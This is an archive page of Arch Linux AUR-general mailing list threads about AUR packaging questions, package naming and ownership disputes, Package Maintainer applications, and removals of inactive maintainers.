> >>>> > >>>> On Thu, Jun 19, 2025, 7:31 AM Chloe <digear466(a)mailgw.com> wrote: > >>>>> > >>>>> Hello, > >>>>> > >>>>> A few days ago, an AUR user bittin ("Luna") submitted the gnome-printing package to AUR and they signed off their emails with "Luna <on behalf > >>>>> of Ole>". > >>>>> > >>>>> Community members have raised several issues with the package. While the build script has been mostly fixed (courtesy of FabioLolix), there are > >>>>> still some questions: > >>>>> > >>>>> 1. What is the license of gnome-printing? We are unable to find the license, and therefore it is uncertain whether this software can be > >>>>> redistributed. > >>>>> 2. What is the purpose of gnome-printing? Muflone, who is a Package Maintainer (an official Arch Linux staff role), has pointed out that "GNOME > >>>>> has builtin printing system using CUPS". Does gnome-printing provide any feature which cannot be satisfied by GNOME's builtin features or other > >>>>> existing software? > >>>>> > >>>>> Regards, > >>>>> gnlrdrvo >

1 0

gnome-printing PKGBUID help
by Luna Jernberg 19 Jun '25

19 Jun '25

Hey! https://aur.archlinux.org/packages/gnome-printing someone can help me fix up this PKGBUILD or know how to make a PKGBUILD that only unpacks files in a specific folder or if it should be a PKGBUILD at all? //Luna <on behalf of Ole>

2 4

Re: License and questions regarding gnome-printing
by Luna Jernberg 19 Jun '25

19 Jun '25

Alright will do Den tors 19 juni 2025 kl 16:50 skrev Ole Aamot <ole(a)aamot.org>: > > Delete gnome-printing from AUR. It is obsolete and not necessary for printing on GNOME Systems. > > On 6/19/25 10:00 AM, Ole Aamot wrote: > > Hello, > > Thank you for your message and for raising these important questions regarding the gnome-printing package recently submitted to the AUR. > > I'll address both of your concerns directly: > > > --- > > 1. License of gnome-printing > > The license for gnome-printing was initially not clearly stated, and I understand this has caused confusion. To clarify: > > The gnome-printing project is an experimental wrapper intended to integrate simplified printing functionality for specific GTK4/GNOME4-based workflows. > > It was developed under the principles of free and open-source software, and the intention is to license it under the Public Domain, in line with most GNOME utilities. > > The license declaration was inadvertently omitted from the initial release, and we will be adding a COPYING file and SPDX license headers in the next version update on https://github.com/aamotsoftware/printing to make this explicit. > > > > --- > > 2. Purpose of gnome-printing > > You are absolutely right that GNOME uses CUPS for its built-in printing system. gnome-printing is not a replacement for CUPS or for GNOME's existing print stack. Instead, its goals are: > > To provide a user-facing frontend (using GTK4/Adwaita) for certain common printing tasks, primarily aimed at developers and tinkerers who want tighter scripting or sandboxed integration (such as within GNOME Builder or Flatpak applications). > > It acts as a thin wrapper around CUPS and the common UNIX lp/lpr utilities, with potential features like: > > previewing print jobs via a minimal UI, > > generating print-ready PDFs, > > selecting specific backends or printers in a streamlined way (especially for headless usage or kiosk setups), > > integration with non-CUPS pipelines (future potential, e.g., IPP-over-USB experiments). > > > > That said, it is indeed redundant for general GNOME desktop users, who already benefit from excellent support via the gnome-control-center and evince/gtk-print stack. As such, gnome-printing is niche and optional, meant more for experimentation and lightweight print job scripting in specific GNOME developer scenarios. > > See https://www.aamot.org/ole/printing.html > --- > > Next Steps > > We will: > > Update the project metadata with the correct license information. > > Clarify the purpose and scope of the package in the AUR description and upstream README to avoid misunderstandings. > > Ensure FabioLolix’s fixes are merged and credited. > > Could you provide me with FabioLolix's fixes? > > --- > > Thanks again for your diligence, and we appreciate the Arch community’s attention to detail and software quality. > > Warm regards, > Ole Kristian Aamot > Aamot Research > ole(a)aamot.software > www.aamot.io > > — cc: Luna (“bittin”), FabioLolix, Muflone > > > On Thu, Jun 19, 2025, 7:31 AM Chloe <digear466(a)mailgw.com> wrote: >> >> Hello, >> >> A few days ago, an AUR user bittin ("Luna") submitted the gnome-printing package to AUR and they signed off their emails with "Luna <on behalf >> of Ole>". >> >> Community members have raised several issues with the package. While the build script has been mostly fixed (courtesy of FabioLolix), there are >> still some questions: >> >> 1. What is the license of gnome-printing? We are unable to find the license, and therefore it is uncertain whether this software can be >> redistributed. >> 2. What is the purpose of gnome-printing? Muflone, who is a Package Maintainer (an official Arch Linux staff role), has pointed out that "GNOME >> has builtin printing system using CUPS". Does gnome-printing provide any feature which cannot be satisfied by GNOME's builtin features or other >> existing software? >> >> Regards, >> gnlrdrvo

1 2

Confusion about version for AUR package
by zac 04 Jun '25

04 Jun '25

Hello, I'm hoping to submit an AUR package which is just an OpenRC script for another package. The main package is `blocky` and I'll be calling my package `blocky-openrc` as such. I'm not sure if I should version my package separately, or if it should match the version of Blocky. I'm hesitant to version it by Blocky because it would be annoying to have to update the package version every time a new version of Blocky is released, even though nothing in the OpenRC script has changed. Here is the PKGBUILD. I figured I'd post it in case there's other feedback anyone might have. # Maintainer: zacoons <zac [at] zacoons [dot] com> pkgname=blocky-bin-openrc pkgver=1.0 pkgrel=1 pkgdesc="Fast and lightweight DNS proxy as ad-blocker" arch=("any") url="https://github.com/0xERR0R/blocky" license=("0BSD") depends=( "openrc" ) optdepends=( "blocky: blocky" "blocky-bin: blocky" ) source=( "blocky.initd" ) sha256sums=( "6ad6361614b16ddac6ce9e8d5f8e9b9e8c07e95115f59311e5e38b88ccbb51e3" # blocky.initd ) package() { install -D -v -m755 blocky.initd $pkgdir/etc/init.d/blocky }

5 6

About the edit package at AUR
by Óscar García Amor 22 May '25

22 May '25

Hello folks, I have recently packaged the Microsoft edit[1] in the AUR[2] and it seems to have opened a debate on whether the name is correct or not (in fact the package already has two requests, one for deletion and the other for merging). IMHO the correct package is the one I uploaded as it does not collide with anything (the name `edit` was not being used in any package) and is obviously the closest to upstream (which I have always understood to be the philosophy of Arch Linux). But in any case I would like to know your opinion. Am I wrong, should it be called `ms-edit` or `microsoft-edit`? And if so, is it also logical to rename the executable to `ms-edit` or `msedit`? I read you, best regards. [1]: https://github.com/microsoft/edit [2]: https://aur.archlinux.org/packages/edit -- Óscar García Amor | ogarcia at moire.org | http://ogarcia.me

4 9

tlauncher no longer on the AUR
by Marcel 19 May '25

19 May '25

I see that tlauncher got removed. Is it because it was orphaned/abandoned or for its spyware side?

2 1

PKGBUILD review python application wtfis
by aur＠nullvoid.me 19 May '25

19 May '25

Hi, Could someone review https://aur.archlinux.org/packages/wtfis This is my first time packaging a python tool from PyPI My understanding since it's not a library python-wtfis would be an incorrect naming convention. I used a tool to generate the first PKGBUILD then added dependencies. I assume lots of other things are missing to make this meet proper AUR standards. Thanks in advance,

3 2

Temporarily suspend matthewq337 user
by Michał 02 May '25

02 May '25

Hello, I've seen this user squats many packages dropped which are either dropped to AUR or abandoned, and then adds other people who are actually interested in said packages to co-maintainers. I've had this happen to me with 3 packages, which are also mentioned in examples list below. In the past few months I have seen this user push various nonsense commits to many packages. Some examples are: ruby-rails (and dependencies) where only pkgver was bumped, without testing any build. This resulted in build failures for simple reasons such as missing files: https://aur.archlinux.org/cgit/aur.git/commit/?h=ruby-actionview&id=a98abc6… https://aur.archlinux.org/packages/ruby-actionview#comment-1019144 pyload-ng, pushing changes without pulling first and other nonsense "updated" commits without testing also visible in git log https://aur.archlinux.org/cgit/aur.git/commit/?h=pyload-ng&id=c91cc2cb90daa… librewolf-hg, package "fixed" which resulted in pkgbuild being unusable https://aur.archlinux.org/packages/librewolf-hg#comment-981229 python-dukpy, changing license file name from right to wrong which prevented install: https://aur.archlinux.org/cgit/aur.git/commit/?h=python-dukpy&id=2ddc02e9fa… https://aur.archlinux.org/cgit/aur.git/commit/?h=python-dukpy&id=9d7aab0205… python-glfw, bumping pkgver, but this did not actually result in new version being built: https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=python-glfw#n13 These examples are not from malice or anything, but from not testing changes and incompetence. "Let him who is without sin cast the first stone", but I think that such over such long period of time (~6 months at least) mistakes in packaging without seemingly any improvement show that matthewq337 doesn't care about state of packages. I am therefore calling for moderator action, to prevent this from happening so that Matthew can reflect. Kind regards, micwoj92

5 6

Package Maintainer Application: George Hu
by Integral 24 Apr '25

24 Apr '25

Hello everyone, My name is George, or Integral/Integral-Tech on AUR and other places. I am writing this email to apply as an Arch Linux package maintainer as I have been sponsored by Felix Yan and Robin Candau. I started my Linux journey with Ubuntu when I was in high school. In my freshman year, I caught myself drawn to GNU/Linux, specifically Manjaro and Arch Linux. After referring to relevant documents and tutorials, I replaced Windows with Manjaro thoroughly. Although I initially felt out of my comfort zone, I grew more comfortable as I navigated this new platform. Eventually, I switched to Arch Linux in 2022. For a Linux neophyte, installing Arch Linux proved challenging, therefore it took me a couple of days to accomplish with assistance from Arch Wiki and other tutorials. My exploration of the system further led me to AUR, a highlight of Arch Linux that deeply intrigued me. Under the guidance of Arch Wiki and enthusiastic Arch Linux users, I looked up how to write PKGBUILDs and publish them on the AUR. During this time, archlinuxcn, an unofficial binary package repository maintained by the Chinese Arch Linux community, piqued my curiosity. Motivated by an overwhelming desire to become an archlinuxcn maintainer, I submitted my application accordingly. As of now, my primary duties in the archlinuxcn community include creating/maintaining Arch Linux packages and translating Arch Wiki articles: - https://github.com/archlinuxcn/repo/commits/master/?author=Integral-Tech Here are some AUR packages I maintain: - https://aur.archlinux.org/packages/qefientrymanager - https://aur.archlinux.org/packages/qefientrymanager-git - https://aur.archlinux.org/packages/linux-apfs-rw-dkms - https://aur.archlinux.org/packages/caligula-git - https://aur.archlinux.org/packages/clapgrep - https://aur.archlinux.org/tunet-rust - https://aur.archlinux.org/tunet-rust-git Furthermore, I have submitted several merge requests on Arch Linux GitLab, including but not limited to protonmail-bridge, linux and pacman. Here are some of my merge requests on Arch Linux GitLab: - https://gitlab.archlinux.org/archlinux/packaging/packages/linux/-/ merge_requests/5 - https://gitlab.archlinux.org/archlinux/packaging/packages/dart/-/ merge_requests/10 - https://gitlab.archlinux.org/archlinux/packaging/packages/crystal/-/ merge_requests/2 - https://gitlab.archlinux.org/archlinux/packaging/packages/protonmail-bridge… merge_requests/1 - https://gitlab.archlinux.org/pacman/pacman/-/merge_requests/239 Apart from Arch Linux, I contribute to a wide spectrum of free and open- source projects in my free time, including but not limited to KDE, bcachefs-tools and yazi (a fast terminal file manager written in Rust). You can refer to my contributions on the following links: - GitHub (http://github.com/Integral-Tech) - KDE Invent (http://invent.kde.org/integral) - linux-bcachefs mailing list (https://lore.kernel.org/linux-bcachefs) As a dedicated free software supporter, I joined FSF as a student associate member in Feb 2023. Moreover, I am sponsoring various FOSS developers and nonprofit organizations on a regular basis: - https://github.com/Integral-Tech?tab=sponsoring If my application is approved, I would like to add these packages into [extra]: - clapgrep - cpr - ctre - dissent - flyctl Additionally, I am also willing to co-maintain the following packages: - yazi - bcachefs-tools Thanks for reading my application! Sincerely, George Hu (Integral)

4 8

Replacing bin package by source package
by Jan Kohnert 21 Apr '25

21 Apr '25

Hi, I recently adopted the helmify-bin package and pushed the new version to aur. But since it is a bin package, I decided to prepare a PKGBUILD the uses build-from- source along the go packageing guidelines. I'm indenting to push this new ebuild and orphan the bin-package once this is done. Before pushing it: I'm wondering whether i sould set "replaces=("helmify-bin")" or "conflicts=("helmify-bin")" in the new PKGBUILD when I'm trying to say "dear users, blease use this new package instead of the bin package". Any thoughts? Thanks in advance! -- MfG Jan

2 1

Could someone please fix DL link oki-c321-c331-c531
by JPT 04 Apr '25

04 Apr '25

Hi, could someone please fix https://aur.archlinux.org/packages/oki-c321-c331-c531 the download link of the binary blob changed from http://www.oki.com/uk/printing/download/C531_C331_C321_Linux_110_31034.zip to https://www.oki.com/printing/download/C531_C331_C321_Linux_110_31034.zip so, just the "UK" removed. thank you very much JPT ps. the maintainer seems active (on other packages) but did not react to my comment two weeks ago.

2 1

Removal of farseerfc as Package Maintainer due to inactivity
by gromit 27 Mar '25

27 Mar '25

Hi all, I'd like to start a ["Special Removal of an Inactive Package Maintainer"][0] for farseerfc based on prolonged inactivity. farseerfc has not executed any of the expected packaging or AUR maintenance duties for more than a year now. When I recently contacted all people who were inactive for a longer period of time I heard back from him saying that [he wanted to get back to things][1] and but would need a few weeks. This conversation has now happened 5 months ago and nothing has changed since. - I couldn't find any packaging activity for him in the state repo since Apr 29 08:01:12 2023 - He did not do any AUR Moderation since 2022 Given these circumstances I'm requesting Jiachen to be removed as a Package Maintainer. If at some later point he has the time / resources to help out again he is of course welcome to join the project again! The discussion period for this proposal will last for three days, after which there will be a voting period of five days as outlined in the bylaws. Cheers, gromit [0]: https://package-maintainer-bylaws.aur.archlinux.org/#_special_removal_of_an… [1]: https://gitlab.archlinux.org/archlinux/packaging/packages/ttf-opensans/-/is…

2 2

Replacing package with a superset split package?
by Sam Mulvey 14 Mar '25

14 Mar '25

Hello all! I (try to) maintain the Xen stuff in AUR. As background: There are multiple ways to boot a VM inside of Xen. For full hardware emulation, I can use SeaBIOS or edk2-ovmf as appropriate. For paravirtualization there is the newer PVH method, and the older PV method. Both are supported methods. If I want to boot a kernel installed inside the VM using those methods I need a specifically compiled copy of grub for that method. I use PVH almost exclusively, and I have a package in AUR called xen-pvhgrub. Previously, someone else was maintaining a PV grub but that seems to be gone. What I am asking: I would like to replace xen-pvhgrub with a split package called xen-grub which then creates: - xen-grub-pvh: for booting PVH - xen-grub-pv32: for booting 32bit PV - xen-grub-pv64: for booting 64bit PV What is the best method for accomplishing this? Thanks! -Sam

2 1

Package Maintainer Application: Dan Johansen
by Dan "Strit" Johansen 09 Mar '25

09 Mar '25

# Package Maintainer Application Hi everyone My name is Dan Johansen, but known around the interwebs, Matrix and AUR as Strit, and I am sending in my application to become an Arch Linux Package Maintainer. Morten Linderud (Foxboron) and Carl Smedstad (carsme) have kindly agreed to be my sponsors in this adventure. I’m a family man, with a wife and 2 kids, we are from Denmark and currently living in the southern region. My first run-in with Linux was just over 20 years ago at school where I was tasked to setup a firewall using Red Hat. Then I had a break for about 10 years and came back in around 2013, where I started on Ubuntu, then switched to Manjaro in 2015-2016, where I became part of the dev team and a package maintainer of the ARM branch of the distribution and started maintaining some AUR packages. In 2021 I then switched to regular Arch and have been enjoying my time ever since. My PKGBUILDs in the AUR are not perfect, so I am still learning standards and best practices. But I’ve been eager to contribute to Arch any way I can. I tend to help open source projects with bug reports, support assistance and translations where ever I can. In my personal life, I work for a cloud company that specializes in Microsoft software, but I am full Linux nerd at home. Even my home server is running Arch. I was invited to join the community dinner at FOSDEM 2024 where I met some of the team members. I’m not very forward and a bit shy when I am around other people, but I believe I am a kind and helpful person. I’m a huge movie fan[1], I play TTRPGs like D&D, World of Darkness and other small games. In the recent couple of years I’ve also been out “viking-camping”[2], which is a nice break from technology and notifications. Here is a list of all my current AUR packages [3]. As package maintainer I would like to include and maintain the following packages: • `python-tmdbsimple` (a python package to access the TMDB api) • `gpu-viewer` (a python application to view GPU information) • `greetd-qtgreet` (a qt based greeter for greetd) • `dfl-*` (a set of libraries written in qt for use in building desktop environments) As time goes on and I get more experience I would like to also include: • `CoreApps` (a lightweight qt based application suite) • `watchmate` (companion app for PineTime watch) • `wayfire` and some AUR packages that depend on it I would also like to co-maintain: • `griffith` (as I am responsible for the source of that application at this time) I have also found the following orphaned packages in the repository that I would be able to maintain: • `aspell-da` • `reflector` • `stress` • `vcdimager` (if needed) • `xdhg-desktop-portal-xapp` (maybe) In Manjaro I was packaging some Qt and Electron based apps, so I would like to help in that realm as well. I hope this application is worth consideration and that I have described who I am to a satisfactory degree, if not you are always welcome to ask. GPG Public key: `084A 7FC0 035B 1D49` Links: [1]: https://movies.strits.dk [2]: https://blog.strits.dk/2023-viking-season-highlights/ [3]: https://aur.archlinux.org/packages?O=0&SeB=m&K=Strit&outdated=&SB=p&SO=d&PP…

6 11

Yank (undo) latest release
by Clemens Brunner 05 Mar '25

05 Mar '25

Hello! I just pushed a new release for my AUR package libxdf (https://aur.archlinux.org/packages/libxdf) but I noticed that it is not compatible with sigviewer (https://aur.archlinux.org/packages/sigviewer) another package I maintain. Therefore, I would like to revert/yank the libxdf release 0.99.9 and go back to 0.99.8. Is this possible? Thanks! Clemens

2 1

Contacting package maintainer
by Michal Feix 13 Feb '25

13 Feb '25

Hi! I recently fixed a bug in icu73-bin AUR package and started to investigate how to push this properly to the maintainer. Wiki clearly says that one should avoid pasting patches into the comments section and rather email the patch to the maintainer. However, the profile detail of the maintainer with this package shows his e-mail address as "hidden". The PKGBUILD itself also does not have any maintainer entry that could be used to identify contact details of the maintainer so I broke the wiki rule and pasted the patch into the comments section. As the maintainer did not responded yet, my question in the meantime is - how is one supposed to discover maintainer's contact email in such case? Thanks, -- Michal

5 4

PKGBUILD - /usr/local/share/man exists in filesystem (owned by filesystem)
by Klaus Tachtler 25 Jan '25

25 Jan '25

Hi, I am encountering a problem with the installation of an AUR package I have built. During the installation I get the following error message: error: failed to commit transaction (conflicting files) libtlsrpt-git: /usr/local/share/man exists in filesystem (owned by filesystem) Errors occurred, no packages were upgraded. The installation script attempts to execute the following command: /usr/bin/mkdir -p '/usr/local/share/man/man3' Is there a solution how I can solve the problem in the PKGBUILD? Thank you in advance! Klaus. -- --------------------------------------- e-Mail : klaus(a)tachtler.net Homepage: https://www.tachtler.net DokuWiki: https://dokuwiki.tachtler.net ---------------------------------------

3 4

AUR Updating
by Gonsolo 24 Jan '25

24 Jan '25

Hi! I have a question regarding https://wiki.archlinux.org/title/Arch_User_Repository#Updating_packages. The package maintainer of https://aur.archlinux.org/packages/gdown commented "Please do not flag for rebuilds." and quoted above wiki entry. I flagged gdown because it failed for me. The reason was that it was installed for Python 3.12, and in the meantime Arch was upgraded to 3.13. Of course a simple rebuild fixed the issue for me. But, since I keep my system up to date with yay, a simple increase of pkgrel would have fixed the issue without me noticing. So here is the question: Wouldn't it be nice of the maintainer to just increase the pkgrel value to force a rebuild on update, even if it's not required? Or is there a deeper reason for the above paragraph? Thanks -- g

5 4

Are those android-$arch-$package packages allowed in AUR?
by digear466＠mailgw.com 18 Jan '25

18 Jan '25

Hello, With reference to [1], are those android-$arch-$package packages allowed in AUR? [2] > Packages in the AUR should be useful on Arch Linux, which is currently > an x86_64-only distribution. It seems that those packages are for Android (not useful on Arch), which may not meet the above requirement. Best regards, gnlrdrvo [1] https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/m… [2] For examples, please refer to the packages listed in "Required by" section: https://aur.archlinux.org/packages/android-configure?all_reqs=1#pkgreqs

8 12

Removal of coderobe as Package Maintainer due to inactivity
by gromit 16 Jan '25

16 Jan '25

Hi all, I'd like to start a ["Special Removal of an Inactive Package Maintainer"][0] for coderobe based on prolonged inactivity. coderobe has not executed any of the expected packaging or AUR maintenance duties for more than a year now. When I recently contacted all people who were inactive for a longer period of time I heard back from her saying that she wanted to get back to things and would welcome help from me. I told her that to please progress with the long open keyring ticket[1] within 4 weeks have since not seen any activity anymore. - I couldn't find any packaging activity for her in the state repo since 2022 - She did not do any AUR Moderation since 2018 - She is not active anymore on IRC or the Mailing lists Given these circumstances I'm requesting her to be removed as a Package Maintainer. If at some later point she has the time / resources to help out again she is of course welcome to join the project again! The discussion period for this proposal will last for three days, after which there will be a voting period of five days as outlined in the bylaws. Cheers, gromit [0]: https://package-maintainer-bylaws.aur.archlinux.org/#_special_removal_of_an… [1]: https://gitlab.archlinux.org/archlinux/archlinux-keyring/-/issues/271 [2]: https://lists.archlinux.org/archives/list/arch-tu@lists.archlinux.org/messa…

1 2

Re: About the intentionally duplicated package wechat-beta-bwrap and wechat-universal and unmaintained orginal package wechat-uos
by S Umple 03 Jan '25

03 Jan '25

> Hello, I'm 7Ji, maintainer of wechat-universal-bwrap[a] (wrongly typed as wechat-universal in Kimiblock's original mail), and co-maintainer of wechat-beta-bwrap[b]. leaeasy[c], the maintainer of -beta, is my friend. I think it's necessary for me to clear up some misunderstanding and introduce the current situation of wechat builds from Tencent that's released on the Uniontech OS (an officially backed variant of Deepin Linux) appstore front that all these `wechat` packages are trying to "borrow" from. From what I can tell weixin is for mainland China users while wechat is for everyone else. GDPR that kind of laws are at play here the data has to be separate.

2 1

AUR guideline on `Duplicate` packages, and Package Maintainers
by S Umple 02 Jan '25

02 Jan '25

Recently there's been a debacle about the wechat packaging in AUR. Essentially there were two competing packages wechat and wechat-bin [1] which are both popular. Package maintainer K(type user in AUR) of wechat took unbelievable measures to try to get rid of wechat-bin from AUR to begin with and was rebuked[6] by a PM A(type "Package Maintainer" in AUR). But eventually the same maintainer K succeeded when another PM M(type "Package Maintainer" in AUR) sided with him and took control of wechat-bin with a total revamp of the packaging. Package maintainer K's actions are bizarre, hostile and malicious overall. There's absolutely no reasonable explanation as to why K had to take over the control except for the guideline which is flawed. Plenty of users submitted their negative views[2] towards such takeover. And it's also my observation that PM M did not do due diligence on this matter and just arbitrarily made a decision suppressing users' voice in the meantime. The situation got worse under PM M's dealing with this matter that users feel ignored and betrayed that many **wrong** deletion requests[3] have been filed towards both wechat and wechat-bin, presumably by angry and frustrated users from both camps. The chilling effect can also be seen here[5] when the most upvoted wechat related package is discussing a backup plan in case the same thing happens to it and the possibility of retreating to github, when one PM dictates the course of action and there's no way to appeal. If we also look at the roles PMs play in this debacle, it also draws ire from K. K is not happy when his attempt was denied by PM A either. https://blog.kimiblock.top/2024/12/08/do-not-waste-time-on-aur/ https://blog.kimiblock.top/2024/08/23/aur-moderation/ The questions are: 1. Is there enough room for more than one packaging in AUR or does it have to favor the first package maintainer in system log?[1] What's wrong with choices letting vote/popularity work and users the freedom to choose? 2. What can we do about it when the package maintainer ignores legitimate technical issues and won't budge until after a PM steps in and orders such? [4] 3. What can we do about it when one PM takes over, calling shots and suppressing users' voices? Is there an appeal process? [1] wechat started on 6/30/2024 with an essentially nil placeholder commit. Actual and meaningful commits started on 11/5/2024 with nothing in between. https://aur.archlinux.org/cgit/aur.git/log/?h=wechat&ofs=50 wechat-bin started on 11/5/2024 https://aur.archlinux.org/cgit/aur.git/log/?h=wechat-bin As such wechat has a earlier start date in the system than wechat-bin. Yet if we look into the detail by no means can K claimed that his package arrived first in the repo. PM A expressed[6] his doubt towards K's legitimacy in his response to K's attempt. Quote "Claiming legitimacy over the other existing packages in a forced and unexpected manner like you're doing is not helpful." I'm a wechat-bin user and am sure it collected 50+ votes and not sure about wechat which currently also tallies 50 votes. That said, if anything, both packages have the support and deserve to stay instead of merging them in a haste. [2] Most comments can be found under packages' comment page https://aur.archlinux.org/packages/wechat-bin https://aur.archlinux.org/packages/wechat Select negative user comments towards K: ernest https://aur.archlinux.org/packages/wechat#comment-1004581 etoyz https://aur.archlinux.org/packages/wechat#comment-1004579 timefaker https://aur.archlinux.org/packages/wechat#comment-1004546 JoveYu https://aur.archlinux.org/packages/wechat#comment-1004540 envolution https://aur.archlinux.org/packages/wechat?O=30#comment-1003718 pr0m1x https://aur.archlinux.org/packages/wechat?O=40#comment-1003602 wszqkzqk https://aur.archlinux.org/packages/wechat?O=40#comment-1002784 Keep-Silence https://aur.archlinux.org/packages/wechat-bin#comment-1004718 JoveYu https://aur.archlinux.org/packages/wechat-bin#comment-1004832 duguyipiao https://aur.archlinux.org/packages/wechat-bin#comment-1004833 [3] https://lists.archlinux.org/archives/search?q=wechat&page=1&mlist=aur-reque… [4] After K's takeover, packaging quality took a dive and won't even launch properly. User provided feedback and K simply cited his deal with PM M to provide only vanilla packaging and won't budge, until M stepped in and ordered K to correct such and K complied. It's noticeable that PM M chose to ignore this important attitude detail that K has shown towards this package and simply summarized it as "Still only a minor issue (in the upstream desktop file) was reported and it was promptly fixed in less than one day." This kind of sweeping-it-under-the-rug approach is very much problematic and troublesome. This brings into question PM M's capability in fairly addressing inquiries. [5] https://aur.archlinux.org/packages/wechat-universal-bwrap#comment-1004422 [6] PM A had this to say in rebuke to maintainer K, quote "This indeed is an inappropriate usage of the "replaces" array. This should be a "conflicts" array at best. As you know (since you started the related discussion on the ML), the "wechat packaging situation" in the AUR is a bit controversial and difficult to deal with. Claiming legitimacy over the other existing packages in a forced and unexpected manner like you're doing is not helpful. I switched the "replaces" array to a "conflicts" one, please do not switch it back and give time for the AUR staff to deal with the pending requests about wechat related packages. Thanks for your comprehension & collaboration." https://aur.archlinux.org/packages/wechat?O=50#comment-1001449

7 10

Toxic user activity on AUR and ArchWikiCN
by Kimiblock Moe 01 Jan '25

01 Jan '25

3 2

Package Maintainer Application - Adam Perkowski
by Adam Perkowski 28 Dec '24

28 Dec '24

Dear Arch Linux Package Maintainers, I hope this message finds you well. My name is Adam Perkowski. The usernames I use are: adamperkowski, xx0a_q or xeqo. I am writing to express my interest in applying to become a Package Maintainer. My application is sponsored by Orhun Parmaksız (orhun) and Frederik Schwan (freswa), who have kindly offered their support. I've been actively programming and using Linux since around 2016, with Arch Linux serving as my primary desktop OS since 2021. Over the years, my passion for FOSS and programming has only grown stronger. I live in Poland. In my free time, I enjoy contributing to open-source projects (obviously), experimenting with electronics, listening to and sometimes making music. I also enjoy 3D printing (and derivative technologies) and I do it part-time professionally for a few years now. I am fluent in English and Polish. I also have a basic understanding of German and Russian. Here's a brief overview of my technical skills and experience: Programming Languages: - Primary: Rust, Jule, C, C++ - Additional: Lua, Python, JavaScript, Go, Zig, Bash Package Maintenance Experience: I currently maintain about 50 packages in the AUR [6]. All my packages follow the Arch packaging guidelines with reproducible builds and thorough testing procedures. They can also be found in my "PKGBUILDs" GitHub repository [7]. Online Presence: My GitHub profile [8] showcases my commitment to open source development. I maintain several active projects (mentioned below). My repositories show consistent activity and meaningful contributions. On the Arch Linux GitLab [9], I've been familiarizing myself with the Arch Linux development workflow and infrastructure. While I'm relatively new to it, I've been studying the development processes to prepare for a more active role in package maintenance. My personal website [10] serves as a technical portfolio and blog where I document my experiences primarily with open source development. It reflects my approach to software development and commitment to sharing knowledge with the community. I plan on updating it regularly but we all know how that goes. Since 2023 I have been actively contributing to open-source projects. My most notable contributions include: - HighlightOS [1]: A x86_64 kernel in Rust & Assembly - Maintainer Demonstrates low-level systems programming expertise and long-term project maintenance - nvrs [2]: Fast new version checker for software releases - Maintainer A tool designed to help with package maintenance, features direct integration with multiple version control platforms (more about it below) - Linutil [3]: Distro-agnostic toolbox for Linux system management - Co-Maintainer Contributed core functionality and maintaining package dependencies - HyprUtils [4]: Unofficial Hyprland and Wayland-first tools - Co-Maintainer Focus on user experience and system integration - Jule [5]: Effective programming language for building efficient, fast, reliable and safe software while maintaining simplicity - Contributor, Projects Maintainer With a deep interest in both development and maintainership, I am eager to contribute further to the Arch Linux ecosystem. My starting goals include: - Assisting with the development/maintainership of various Arch Linux projects, such as alpm, arch-repro-status, or gluebuddy. - Improving automation of package maintainership by introducing nvrs [2] as an alternative to the already utilized nvchecker and enhancing the experience by applying improvements/QOL enhancements/bug fixes "on the fly". - Maintaining Rust, Zig, C, C++ and Go packages in the official repositories, as well as the AUR. - Transferring some useful AUR packages (linutil, nvrs, julec, ntfy) to the official repositories to improve their accessibility and maintenance. - Watching over the operation of the AUR, as I noticed that it can take some time for Deletion/Merge/Orphan Requests to be resolved. I'd like to speed up that process. I fully understand the responsibilities and commitment that come with being a Package Maintainer, and after (a long) careful consideration, I am confident that I can meet these challenges, regardless of their complexity. Relevant links: [1]: https://github.com/adamperkowski/highlightos [2]: https://github.com/adamperkowski/nvrs [3]: https://github.com/christitustech/linutil [4]: http://web.archive.org/web/20241130095841/https://github.com/hyprutils [5]: https://github.com/julelang [6]: https://aur.archlinux.org/packages?K=adamperkowski&SeB=m [7]: https://github.com/adamperkowski/pkgbuilds [8]: https://github.com/adamperkowski [9]: https://gitlab.archlinux.org/adamperkowski [10]: https://adamperkowski.dev I appreciate your consideration of my application and I am excited about the opportunity to contribute to the Arch Linux community's ongoing development. Sincerely, Adam Perkowski

1 1

Removal of Xyne as Package Maintainer due to inactivity
by gromit 14 Dec '24

14 Dec '24

Hi all, I'd like to start a ["Special Removal of an Inactive Package Maintainer"][0] for Xyne based on prolonged inactivity. Xyne has not executed any of the expected packaging or AUR maintenance duties for more than a year now. When I contacted all people who were inactive in votings for a longer period of time[1] (August '23) we heard back[2] from Xyne stating that he would still like to help out with Arch but does not have time/capacity due to personal circumstance right now, but is on track to getting back to things. This has not happened since and when I pinged the inactive maintainers recently ago I also did not hear back from him. - His last voting[3] was vote nr. 150 (ended 2023-12-03), since then 6 other votings were done. - His last packaging activity was in 2023-08-01[4] - He did not do any AUR Moderation for that timeframe (to my knowledge) Given these circumstances I'm requesting him to be removed as a Package Maintainer. If at some later point he has the time / resources to help out again I'm very much in favour of welcoming him back as they seemed to have made excellent contributions to the community. The discussion period for this proposal will last for three days, after which there will be a voting period of five days as outlined in the bylaws. Cheers, gromit [0]: https://package-maintainer-bylaws.aur.archlinux.org/#_special_removal_of_an… [1]: https://lists.archlinux.org/archives/list/arch-tu@lists.archlinux.org/threa… [2]: https://lists.archlinux.org/archives/list/arch-tu@lists.archlinux.org/messa… [3]: https://aur.archlinux.org/package-maintainer [4]: https://gitlab.archlinux.org/archlinux/packaging/state/-/commit/5a8dc54e49b…

1 2

Are packages for other architectures allowed in the AUR?
by Valentin Hăloiu 27 Nov '24

27 Nov '24

Hello, I have recently created an AUR package (uboot-cm3588-nas <https://aur.archlinux.org/cgit/aur.git/?h=uboot-cm3588-nas>) that's only usable on the "aarch64" architecture (e.g.: Arch Linux ARM) which got promptly removed due to: "not for Arch Linux, aarch64 only package". However, the AUR submission guidelines <https://wiki.archlinux.org/title/AUR_submission_guidelines> do not make it very clear whether non-x86_64 packages are allowed in the AUR or not. The closest reference that I could find in relation to this is the Arch package guidelines - Architectures <https://wiki.archlinux.org/title/Arch_package_guidelines#Architectures> section which mentions: > The arch array should contain 'x86_64' if the compiled package is architecture-specific. Otherwise, use 'any' for architecture independent packages. This makes it sound like only x86_64 packages are allowed but, to me, that still sounds like there is some room for interpretation. So, my main question is: *are packages for other architectures allowed in the AUR?* Also, in light of recent discussions around Arch Linux Ports <https://rfc.archlinux.page/0032-arch-linux-ports/>, I think it would be helpful to spell out the answer to this question explicitly in the AUR submission guidelines.

2 2

nvidia-390xx-utils kernel-6.12.patch provided - is there a way I can do pull-request?
by David C. Rankin 24 Nov '24

24 Nov '24

